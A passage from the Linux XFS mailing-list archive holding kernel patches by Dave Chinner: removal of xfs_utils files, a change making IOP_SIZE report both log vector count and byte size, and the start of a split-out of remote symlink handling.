-#include "xfs_trans.h" -#include "xfs_sb.h" -#include "xfs_ag.h" -#include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" -#include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" -#include "xfs_inode_item.h" -#include "xfs_bmap.h" -#include "xfs_error.h" -#include "xfs_quota.h" -#include "xfs_itable.h" -#include "xfs_utils.h" - - -/* - * Allocates a new inode from disk and return a pointer to the - * incore copy. This routine will internally commit the current - * transaction and allocate a new one if the Space Manager needed - * to do an allocation to replenish the inode free-list. - * - * This routine is designed to be called from xfs_create and - * xfs_create_dir. - * - */ -int -xfs_dir_ialloc( - xfs_trans_t **tpp, /* input: current transaction; - output: may be a new transaction. */ - xfs_inode_t *dp, /* directory within whose allocate - the inode. */ - umode_t mode, - xfs_nlink_t nlink, - xfs_dev_t rdev, - prid_t prid, /* project id */ - int okalloc, /* ok to allocate new space */ - xfs_inode_t **ipp, /* pointer to inode; it will be - locked. */ - int *committed) - -{ - xfs_trans_t *tp; - xfs_trans_t *ntp; - xfs_inode_t *ip; - xfs_buf_t *ialloc_context = NULL; - int code; - uint log_res; - uint log_count; - void *dqinfo; - uint tflags; - - tp = *tpp; - ASSERT(tp->t_flags & XFS_TRANS_PERM_LOG_RES); - - /* - * xfs_ialloc will return a pointer to an incore inode if - * the Space Manager has an available inode on the free - * list. Otherwise, it will do an allocation and replenish - * the freelist. Since we can only do one allocation per - * transaction without deadlocks, we will need to commit the - * current transaction and start a new one. We will then - * need to call xfs_ialloc again to get the inode. - * - * If xfs_ialloc did an allocation to replenish the freelist, - * it returns the bp containing the head of the freelist as - * ialloc_context. We will hold a lock on it across the - * transaction commit so that no other process can steal - * the inode(s) that we've just allocated. - */ - code = xfs_ialloc(tp, dp, mode, nlink, rdev, prid, okalloc, - &ialloc_context, &ip); - - /* - * Return an error if we were unable to allocate a new inode. - * This should only happen if we run out of space on disk or - * encounter a disk error. - */ - if (code) { - *ipp = NULL; - return code; - } - if (!ialloc_context && !ip) { - *ipp = NULL; - return XFS_ERROR(ENOSPC); - } - - /* - * If the AGI buffer is non-NULL, then we were unable to get an - * inode in one operation. We need to commit the current - * transaction and call xfs_ialloc() again. It is guaranteed - * to succeed the second time. - */ - if (ialloc_context) { - /* - * Normally, xfs_trans_commit releases all the locks. - * We call bhold to hang on to the ialloc_context across - * the commit. Holding this buffer prevents any other - * processes from doing any allocations in this - * allocation group. - */ - xfs_trans_bhold(tp, ialloc_context); - /* - * Save the log reservation so we can use - * them in the next transaction. - */ - log_res = xfs_trans_get_log_res(tp); - log_count = xfs_trans_get_log_count(tp); - - /* - * We want the quota changes to be associated with the next - * transaction, NOT this one. So, detach the dqinfo from this - * and attach it to the next transaction. - */ - dqinfo = NULL; - tflags = 0; - if (tp->t_dqinfo) { - dqinfo = (void *)tp->t_dqinfo; - tp->t_dqinfo = NULL; - tflags = tp->t_flags & XFS_TRANS_DQ_DIRTY; - tp->t_flags &= ~(XFS_TRANS_DQ_DIRTY); - } - - ntp = xfs_trans_dup(tp); - code = xfs_trans_commit(tp, 0); - tp = ntp; - if (committed != NULL) { - *committed = 1; - } - /* - * If we get an error during the commit processing, - * release the buffer that is still held and return - * to the caller. - */ - if (code) { - xfs_buf_relse(ialloc_context); - if (dqinfo) { - tp->t_dqinfo = dqinfo; - xfs_trans_free_dqinfo(tp); - } - *tpp = ntp; - *ipp = NULL; - return code; - } - - /* - * transaction commit worked ok so we can drop the extra ticket - * reference that we gained in xfs_trans_dup() - */ - xfs_log_ticket_put(tp->t_ticket); - code = xfs_trans_reserve(tp, 0, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); - /* - * Re-attach the quota info that we detached from prev trx. - */ - if (dqinfo) { - tp->t_dqinfo = dqinfo; - tp->t_flags |= tflags; - } - - if (code) { - xfs_buf_relse(ialloc_context); - *tpp = ntp; - *ipp = NULL; - return code; - } - xfs_trans_bjoin(tp, ialloc_context); - - /* - * Call ialloc again. Since we've locked out all - * other allocations in this allocation group, - * this call should always succeed. - */ - code = xfs_ialloc(tp, dp, mode, nlink, rdev, prid, - okalloc, &ialloc_context, &ip); - - /* - * If we get an error at this point, return to the caller - * so that the current transaction can be aborted. - */ - if (code) { - *tpp = tp; - *ipp = NULL; - return code; - } - ASSERT(!ialloc_context && ip); - - } else { - if (committed != NULL) - *committed = 0; - } - - *ipp = ip; - *tpp = tp; - - return 0; -} - -/* - * Decrement the link count on an inode & log the change. - * If this causes the link count to go to zero, initiate the - * logging activity required to truncate a file. - */ -int /* error */ -xfs_droplink( - xfs_trans_t *tp, - xfs_inode_t *ip) -{ - int error; - - xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); - - ASSERT (ip->i_d.di_nlink > 0); - ip->i_d.di_nlink--; - drop_nlink(VFS_I(ip)); - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - - error = 0; - if (ip->i_d.di_nlink == 0) { - /* - * We're dropping the last link to this file. - * Move the on-disk inode to the AGI unlinked list. - * From xfs_inactive() we will pull the inode from - * the list and free it. - */ - error = xfs_iunlink(tp, ip); - } - return error; -} - -/* - * This gets called when the inode's version needs to be changed from 1 to 2. - * Currently this happens when the nlink field overflows the old 16-bit value - * or when chproj is called to change the project for the first time. - * As a side effect the superblock version will also get rev'd - * to contain the NLINK bit. - */ -void -xfs_bump_ino_vers2( - xfs_trans_t *tp, - xfs_inode_t *ip) -{ - xfs_mount_t *mp; - - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - ASSERT(ip->i_d.di_version == 1); - - ip->i_d.di_version = 2; - ip->i_d.di_onlink = 0; - memset(&(ip->i_d.di_pad[0]), 0, sizeof(ip->i_d.di_pad)); - mp = tp->t_mountp; - if (!xfs_sb_version_hasnlink(&mp->m_sb)) { - spin_lock(&mp->m_sb_lock); - if (!xfs_sb_version_hasnlink(&mp->m_sb)) { - xfs_sb_version_addnlink(&mp->m_sb); - spin_unlock(&mp->m_sb_lock); - xfs_mod_sb(tp, XFS_SB_VERSIONNUM); - } else { - spin_unlock(&mp->m_sb_lock); - } - } - /* Caller must log the inode */ -} - -/* - * Increment the link count on an inode & log the change. - */ -int -xfs_bumplink( - xfs_trans_t *tp, - xfs_inode_t *ip) -{ - xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); - - ASSERT(ip->i_d.di_nlink > 0); - ip->i_d.di_nlink++; - inc_nlink(VFS_I(ip)); - if ((ip->i_d.di_version == 1) && - (ip->i_d.di_nlink > XFS_MAXLINK_1)) { - /* - * The inode has increased its number of links beyond - * what can fit in an old format inode. It now needs - * to be converted to a version 2 inode with a 32 bit - * link count. If this is the first inode in the file - * system to do this, then we need to bump the superblock - * version number as well. - */ - xfs_bump_ino_vers2(tp, ip); - } - - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - return 0; -} diff --git a/fs/xfs/xfs_utils.h b/fs/xfs/xfs_utils.h deleted file mode 100644 index 5eeab46..0000000 --- a/fs/xfs/xfs_utils.h +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright (c) 2000-2002,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_UTILS_H__ -#define __XFS_UTILS_H__ - -extern int xfs_dir_ialloc(xfs_trans_t **, xfs_inode_t *, umode_t, xfs_nlink_t, - xfs_dev_t, prid_t, int, xfs_inode_t **, int *); -extern int xfs_droplink(xfs_trans_t *, xfs_inode_t *); -extern int xfs_bumplink(xfs_trans_t *, xfs_inode_t *); -extern void xfs_bump_ino_vers2(xfs_trans_t *, xfs_inode_t *); - -#endif /* __XFS_UTILS_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 05B1B7F8B for ; Fri, 19 Jul 2013 01:25:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C96B9304043 for ; Thu, 18 Jul 2013 23:25:41 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id d5gEnocwvZOhWC8R for ; Thu, 18 Jul 2013 23:25:39 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048H-Ed for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-00020D-DJ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 43/49] xfs: return log item size in IOP_SIZE Date: Fri, 19 Jul 2013 16:25:14 +1000 X-ASG-Orig-Subj: [PATCH 43/49] xfs: return log item size in IOP_SIZE Message-Id: <1374215120-7271-44-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215139 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To begin optimising the CIL commit process, we need to have IOP_SIZE return both the number of vectors and the size of the data pointed to by the vectors. This enables us to calculate the size ofthe memory allocation needed before the formatting step and reduces the number of memory allocations per item by one. WhIle there, kill the IOP_SIZE macro. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf_item.c | 52 ++++++++++++++++++++++++++++------------------ fs/xfs/xfs_dquot_item.c | 22 ++++++++++++-------- fs/xfs/xfs_extfree_item.c | 50 ++++++++++++++++++++++++++++---------------- fs/xfs/xfs_icreate_item.c | 9 +++++--- fs/xfs/xfs_inode_item.c | 53 +++++++++++++++++++++++++++++++---------------- fs/xfs/xfs_log_cil.c | 10 ++++++--- fs/xfs/xfs_trans.h | 3 +-- 7 files changed, 126 insertions(+), 73 deletions(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index bfc4e0c..9358504 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -39,6 +39,14 @@ static inline struct xfs_buf_log_item *BUF_ITEM(struct xfs_log_item *lip) STATIC void xfs_buf_do_callbacks(struct xfs_buf *bp); +static inline int +xfs_buf_log_format_size( + struct xfs_buf_log_format *blfp) +{ + return offsetof(struct xfs_buf_log_format, blf_data_map) + + (blfp->blf_map_size * sizeof(blfp->blf_data_map[0])); +} + /* * This returns the number of log iovecs needed to log the * given buf log item. @@ -49,25 +57,27 @@ STATIC void xfs_buf_do_callbacks(struct xfs_buf *bp); * * If the XFS_BLI_STALE flag has been set, then log nothing. */ -STATIC uint +STATIC void xfs_buf_item_size_segment( struct xfs_buf_log_item *bip, - struct xfs_buf_log_format *blfp) + struct xfs_buf_log_format *blfp, + int *nvecs, + int *nbytes) { struct xfs_buf *bp = bip->bli_buf; - uint nvecs; int next_bit; int last_bit; last_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); if (last_bit == -1) - return 0; + return; /* * initial count for a dirty buffer is 2 vectors - the format structure * and the first dirty region. */ - nvecs = 2; + *nvecs += 2; + *nbytes += xfs_buf_log_format_size(blfp) + XFS_BLF_CHUNK; while (last_bit != -1) { /* @@ -87,18 +97,17 @@ xfs_buf_item_size_segment( break; } else if (next_bit != last_bit + 1) { last_bit = next_bit; - nvecs++; + (*nvecs)++; } else if (xfs_buf_offset(bp, next_bit * XFS_BLF_CHUNK) != (xfs_buf_offset(bp, last_bit * XFS_BLF_CHUNK) + XFS_BLF_CHUNK)) { last_bit = next_bit; - nvecs++; + (*nvecs)++; } else { last_bit++; } + *nbytes += XFS_BLF_CHUNK; } - - return nvecs; } /* @@ -118,12 +127,13 @@ xfs_buf_item_size_segment( * If the XFS_BLI_STALE flag has been set, then log nothing but the buf log * format structures. */ -STATIC uint +STATIC void xfs_buf_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { struct xfs_buf_log_item *bip = BUF_ITEM(lip); - uint nvecs; int i; ASSERT(atomic_read(&bip->bli_refcount) > 0); @@ -135,7 +145,11 @@ xfs_buf_item_size( */ trace_xfs_buf_item_size_stale(bip); ASSERT(bip->__bli_format.blf_flags & XFS_BLF_CANCEL); - return bip->bli_format_count; + *nvecs += bip->bli_format_count; + for (i = 0; i < bip->bli_format_count; i++) { + *nbytes += xfs_buf_log_format_size(&bip->bli_formats[i]); + } + return; } ASSERT(bip->bli_flags & XFS_BLI_LOGGED); @@ -147,7 +161,8 @@ xfs_buf_item_size( * commit, so no vectors are used at all. */ trace_xfs_buf_item_size_ordered(bip); - return XFS_LOG_VEC_ORDERED; + *nvecs = XFS_LOG_VEC_ORDERED; + return; } /* @@ -159,13 +174,11 @@ xfs_buf_item_size( * count for the extra buf log format structure that will need to be * written. */ - nvecs = 0; for (i = 0; i < bip->bli_format_count; i++) { - nvecs += xfs_buf_item_size_segment(bip, &bip->bli_formats[i]); + xfs_buf_item_size_segment(bip, &bip->bli_formats[i], + nvecs, nbytes); } - trace_xfs_buf_item_size(bip); - return nvecs; } static struct xfs_log_iovec * @@ -192,8 +205,7 @@ xfs_buf_item_format_segment( * the actual size of the dirty bitmap rather than the size of the in * memory structure. */ - base_size = offsetof(struct xfs_buf_log_format, blf_data_map) + - (blfp->blf_map_size * sizeof(blfp->blf_data_map[0])); + base_size = xfs_buf_log_format_size(blfp); nvecs = 0; first_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index f07a436..60c6e1f 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -44,14 +44,15 @@ static inline struct xfs_dq_logitem *DQUOT_ITEM(struct xfs_log_item *lip) /* * returns the number of iovecs needed to log the given dquot item. */ -STATIC uint +STATIC void xfs_qm_dquot_logitem_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - /* - * we need only two iovecs, one for the format, one for the real thing - */ - return 2; + *nvecs += 2; + *nbytes += sizeof(struct xfs_dq_logformat) + + sizeof(struct xfs_disk_dquot); } /* @@ -286,11 +287,14 @@ static inline struct xfs_qoff_logitem *QOFF_ITEM(struct xfs_log_item *lip) * We only need 1 iovec for an quotaoff item. It just logs the * quotaoff_log_format structure. */ -STATIC uint +STATIC void xfs_qm_qoff_logitem_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += sizeof(struct xfs_qoff_logitem); } /* diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c index 452920a..dc53e8f 100644 --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -73,11 +73,22 @@ __xfs_efi_release( * We only need 1 iovec for an efi item. It just logs the efi_log_format * structure. */ -STATIC uint +static inline int +xfs_efi_item_sizeof( + struct xfs_efi_log_item *efip) +{ + return sizeof(struct xfs_efi_log_format) + + (efip->efi_format.efi_nextents - 1) * sizeof(xfs_extent_t); +} + +STATIC void xfs_efi_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += xfs_efi_item_sizeof(EFI_ITEM(lip)); } /* @@ -93,21 +104,17 @@ xfs_efi_item_format( struct xfs_log_iovec *log_vector) { struct xfs_efi_log_item *efip = EFI_ITEM(lip); - uint size; ASSERT(atomic_read(&efip->efi_next_extent) == efip->efi_format.efi_nextents); efip->efi_format.efi_type = XFS_LI_EFI; - - size = sizeof(xfs_efi_log_format_t); - size += (efip->efi_format.efi_nextents - 1) * sizeof(xfs_extent_t); efip->efi_format.efi_size = 1; log_vector->i_addr = &efip->efi_format; - log_vector->i_len = size; + log_vector->i_len = xfs_efi_item_sizeof(efip); log_vector->i_type = XLOG_REG_TYPE_EFI_FORMAT; - ASSERT(size >= sizeof(xfs_efi_log_format_t)); + ASSERT(log_vector->i_len >= sizeof(xfs_efi_log_format_t)); } @@ -333,11 +340,22 @@ xfs_efd_item_free(struct xfs_efd_log_item *efdp) * We only need 1 iovec for an efd item. It just logs the efd_log_format * structure. */ -STATIC uint +static inline int +xfs_efd_item_sizeof( + struct xfs_efd_log_item *efdp) +{ + return sizeof(xfs_efd_log_format_t) + + (efdp->efd_format.efd_nextents - 1) * sizeof(xfs_extent_t); +} + +STATIC void xfs_efd_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += xfs_efd_item_sizeof(EFD_ITEM(lip)); } /* @@ -353,20 +371,16 @@ xfs_efd_item_format( struct xfs_log_iovec *log_vector) { struct xfs_efd_log_item *efdp = EFD_ITEM(lip); - uint size; ASSERT(efdp->efd_next_extent == efdp->efd_format.efd_nextents); efdp->efd_format.efd_type = XFS_LI_EFD; - - size = sizeof(xfs_efd_log_format_t); - size += (efdp->efd_format.efd_nextents - 1) * sizeof(xfs_extent_t); efdp->efd_format.efd_size = 1; log_vector->i_addr = &efdp->efd_format; - log_vector->i_len = size; + log_vector->i_len = xfs_efd_item_sizeof(efdp); log_vector->i_type = XLOG_REG_TYPE_EFD_FORMAT; - ASSERT(size >= sizeof(xfs_efd_log_format_t)); + ASSERT(log_vector->i_len >= sizeof(xfs_efd_log_format_t)); } /* diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c index 441a78a..5a5a593 100644 --- a/fs/xfs/xfs_icreate_item.c +++ b/fs/xfs/xfs_icreate_item.c @@ -40,11 +40,14 @@ static inline struct xfs_icreate_item *ICR_ITEM(struct xfs_log_item *lip) * * We only need one iovec for the icreate log structure. */ -STATIC uint +STATIC void xfs_icreate_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += sizeof(struct xfs_icreate_log); } /* diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index f76ff52..3780811 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -47,32 +47,44 @@ static inline struct xfs_inode_log_item *INODE_ITEM(struct xfs_log_item *lip) * inode core, and possibly one for the inode data/extents/b-tree root * and one for the inode attribute data/extents/b-tree root. */ -STATIC uint +STATIC void xfs_inode_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { struct xfs_inode_log_item *iip = INODE_ITEM(lip); struct xfs_inode *ip = iip->ili_inode; - uint nvecs = 2; + + *nvecs += 2; + *nbytes += sizeof(struct xfs_inode_log_format) + + xfs_icdinode_size(ip->i_d.di_version); switch (ip->i_d.di_format) { case XFS_DINODE_FMT_EXTENTS: if ((iip->ili_fields & XFS_ILOG_DEXT) && ip->i_d.di_nextents > 0 && - ip->i_df.if_bytes > 0) - nvecs++; + ip->i_df.if_bytes > 0) { + /* worst case, doesn't subtract delalloc extents */ + *nbytes += XFS_IFORK_DSIZE(ip); + *nvecs += 1; + } break; case XFS_DINODE_FMT_BTREE: if ((iip->ili_fields & XFS_ILOG_DBROOT) && - ip->i_df.if_broot_bytes > 0) - nvecs++; + ip->i_df.if_broot_bytes > 0) { + *nbytes += ip->i_df.if_broot_bytes; + *nvecs += 1; + } break; case XFS_DINODE_FMT_LOCAL: if ((iip->ili_fields & XFS_ILOG_DDATA) && - ip->i_df.if_bytes > 0) - nvecs++; + ip->i_df.if_bytes > 0) { + *nbytes += roundup(ip->i_df.if_bytes, 4); + *nvecs += 1; + } break; case XFS_DINODE_FMT_DEV: @@ -85,7 +97,7 @@ xfs_inode_item_size( } if (!XFS_IFORK_Q(ip)) - return nvecs; + return; /* @@ -95,28 +107,33 @@ xfs_inode_item_size( case XFS_DINODE_FMT_EXTENTS: if ((iip->ili_fields & XFS_ILOG_AEXT) && ip->i_d.di_anextents > 0 && - ip->i_afp->if_bytes > 0) - nvecs++; + ip->i_afp->if_bytes > 0) { + /* worst case, doesn't subtract unused space */ + *nbytes += XFS_IFORK_ASIZE(ip); + *nvecs += 1; + } break; case XFS_DINODE_FMT_BTREE: if ((iip->ili_fields & XFS_ILOG_ABROOT) && - ip->i_afp->if_broot_bytes > 0) - nvecs++; + ip->i_afp->if_broot_bytes > 0) { + *nbytes += ip->i_afp->if_broot_bytes; + *nvecs += 1; + } break; case XFS_DINODE_FMT_LOCAL: if ((iip->ili_fields & XFS_ILOG_ADATA) && - ip->i_afp->if_bytes > 0) - nvecs++; + ip->i_afp->if_bytes > 0) { + *nbytes += roundup(ip->i_afp->if_bytes, 4); + *nvecs += 1; + } break; default: ASSERT(0); break; } - - return nvecs; } /* diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 02b9cf3..4e10872 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -122,19 +122,23 @@ xlog_cil_prepare_log_vecs( } list_for_each_entry(lidp, &tp->t_items, lid_trans) { + struct xfs_log_item *lip = lidp->lid_item; struct xfs_log_vec *new_lv; void *ptr; int index; int len = 0; - uint niovecs; + uint niovecs = 0; + uint nbytes = 0; bool ordered = false; /* Skip items which aren't dirty in this transaction. */ if (!(lidp->lid_flags & XFS_LID_DIRTY)) continue; + /* get number of vecs and size of data to be stored */ + lip->li_ops->iop_size(lip, &niovecs, &nbytes); + /* Skip items that do not have any vectors for writing */ - niovecs = IOP_SIZE(lidp->lid_item); if (!niovecs) continue; @@ -152,7 +156,7 @@ xlog_cil_prepare_log_vecs( niovecs * sizeof(struct xfs_log_iovec), KM_SLEEP|KM_NOFS); - new_lv->lv_item = lidp->lid_item; + new_lv->lv_item = lip; new_lv->lv_niovecs = niovecs; if (ordered) { /* track as an ordered logvec */ diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 7eb81cc..97144ec 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -67,7 +67,7 @@ typedef struct xfs_log_item { { XFS_LI_ABORTED, "ABORTED" } struct xfs_item_ops { - uint (*iop_size)(xfs_log_item_t *); + void (*iop_size)(xfs_log_item_t *, int *, int *); void (*iop_format)(xfs_log_item_t *, struct xfs_log_iovec *); void (*iop_pin)(xfs_log_item_t *); void (*iop_unpin)(xfs_log_item_t *, int remove); @@ -77,7 +77,6 @@ struct xfs_item_ops { void (*iop_committing)(xfs_log_item_t *, xfs_lsn_t); }; -#define IOP_SIZE(ip) (*(ip)->li_ops->iop_size)(ip) #define IOP_FORMAT(ip,vp) (*(ip)->li_ops->iop_format)(ip, vp) #define IOP_PIN(ip) (*(ip)->li_ops->iop_pin)(ip) #define IOP_UNPIN(ip, remove) (*(ip)->li_ops->iop_unpin)(ip, remove) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 043597F76 for ; Fri, 19 Jul 2013 01:25:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DAA278F8033 for ; Thu, 18 Jul 2013 23:25:42 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id f6ye9ABkMKBQdsOU for ; Thu, 18 Jul 2013 23:25:40 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGBgZOQMbGYgPti+OcoEug3IDqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:34 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048H-Sk for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001y9-Rm for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 19/49] xfs: split out the remote symlink handling Date: Fri, 19 Jul 2013 16:24:50 +1000 X-ASG-Orig-Subj: [PATCH 19/49] xfs: split out the remote symlink handling Message-Id: <1374215120-7271-20-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215140 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The remote symlink format definition and manipulation needs to be shared with userspace, but the in-kernel interfaces do not. Split the remote symlink format handling out into xfs_symlink_remote.[ch] fo it can easily be shared with userspace. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 3 +- fs/xfs/xfs_format.h | 42 ++++++++++ fs/xfs/xfs_symlink.c | 172 -------------------------------------- fs/xfs/xfs_symlink.h | 42 +--------- fs/xfs/xfs_symlink_remote.c | 199 ++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 244 insertions(+), 214 deletions(-) create mode 100644 fs/xfs/xfs_symlink_remote.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index a73af1c..20b1d94 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -50,6 +50,7 @@ xfs-y += xfs_aops.o \ xfs_mru_cache.o \ xfs_rename.o \ xfs_super.o \ + xfs_symlink.o \ xfs_trans.o \ xfs_utils.o \ xfs_vnodeops.o \ @@ -81,7 +82,7 @@ xfs-y += xfs_alloc.o \ xfs_inode_buf.o \ xfs_log_recover.o \ xfs_mount.o \ - xfs_symlink.o \ + xfs_symlink_remote.o \ xfs_trans_resv.o # low-level transaction/log code diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index 6205374..35c08ff 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -27,6 +27,12 @@ * xfs_log_format.h. Everything else goes here. */ +struct xfs_mount; +struct xfs_trans; +struct xfs_inode; +struct xfs_buf; +struct xfs_ifork; + /* * RealTime Device format definitions */ @@ -123,5 +129,41 @@ typedef struct xfs_dqblk { #define XFS_DQUOT_CRC_OFF offsetof(struct xfs_dqblk, dd_crc) 